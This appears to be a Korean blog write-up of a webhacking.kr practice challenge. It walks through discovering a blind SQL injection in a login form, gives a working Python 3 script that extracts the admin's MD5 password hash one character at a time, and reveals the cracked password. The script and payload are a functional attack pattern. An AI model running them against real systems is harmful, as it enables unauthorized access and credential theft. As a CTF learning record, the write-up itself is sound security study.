첫 화면은 아이디와 비밀번호를 칠수 있고

join과 login 버튼이 있다.

aaa/aaa로 처 넣고 join을 눌렀더니



Done이라고 뜬다.

아마 가입된것 같다.

aaa/aaa로 로그인 해보니

user key는 암호화 된 것 같다.

그래서

암호화 된것을 여러 암호에 encoding해보니

md5암호가 길이가 유지되면서 암호문만 변경이 되었다.

그래서 md5로 decoding해보니

aaazombie라고 나온다!

아마 pw뒤에 zombie를 넣고 암호화 하나보다.


그래서 admin으로 가입을 해보니


이미 가입되어 있다고 한다!

그래서 혹시나 해서 username에  true값으로 sql injection을 해보니

wrong password!

false값으로 injection을 해 보니

wrong!만 뜬다.

취약점을 찾았다.


우선 pw의 길이를 알기위해 

길이로 값을 계속 돌려보니

pw의 길이는 32로 나온다.

blind sql injection 문제이다.

보통 나는 blind sql injection문제는 소스를 구해보거나

찾아서 고치는데

인터넷 소스는 일단 전부 python2버전으로 되어 있는 것 같고

또 안돌아갔다......

파이썬을 모르지 않지만 웹으로 주고 받는것은 안해봐서

한참을 찾아도 안나와

결국 내가 짰다...

python3버전으로 짰고 spyder로 작업했다.

import urllib.request

import http.client

import re

import requests


if __name__=="__main__":

    

    pw =""

    md5 = [num for num in range(48,58)]+[num for num in range(97,104)]

    for i in range(1,33):

        for j in md5:

            data = {"uuid":"admin' and ord(substr(pw,"+str(i)+",1))="+str(j)+"#"}

            data = urllib.parse.urlencode(data)

            header = {"Content-type":"application/x-www-form-urlencoded","Accept": "text/plain","Cookie":"PHPSESSID=당신의 쿠키를 쓰시오"}

            connection = http.client.HTTPConnection("webhacking.kr")

            connection.request("POST","/challenge/bonus/bonus-2/index.php",data,header)

            response = connection.getresponse()

            read = response.read()

            read =read.decode('utf-8')

            find = re.findall("Wrong password!",read)

            if find:

                print(chr(j),end='')

                break


내가 webhacking.kr문제를 풀면서

가장 짜증나고 오래걸린 문제였다.

이렇게 하면 짜자잔!

암호가 나오네?


암호 해독해 버리기~!!!

rainbowzombie가 나와 버리기~~!!!

admin을

방금 얻은 비밀번호로 로그인 해 주면

짜자잔~!!풀려버린다!!


'WebHacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 61번  (0) 2018.01.12
Webhacking.kr 46번  (0) 2018.01.12
Webhacking.kr 7번  (0) 2018.01.11
Webhacking.kr 8번  (0) 2018.01.10
Webhacking.kr 11번  (0) 2018.01.09

+ Recent posts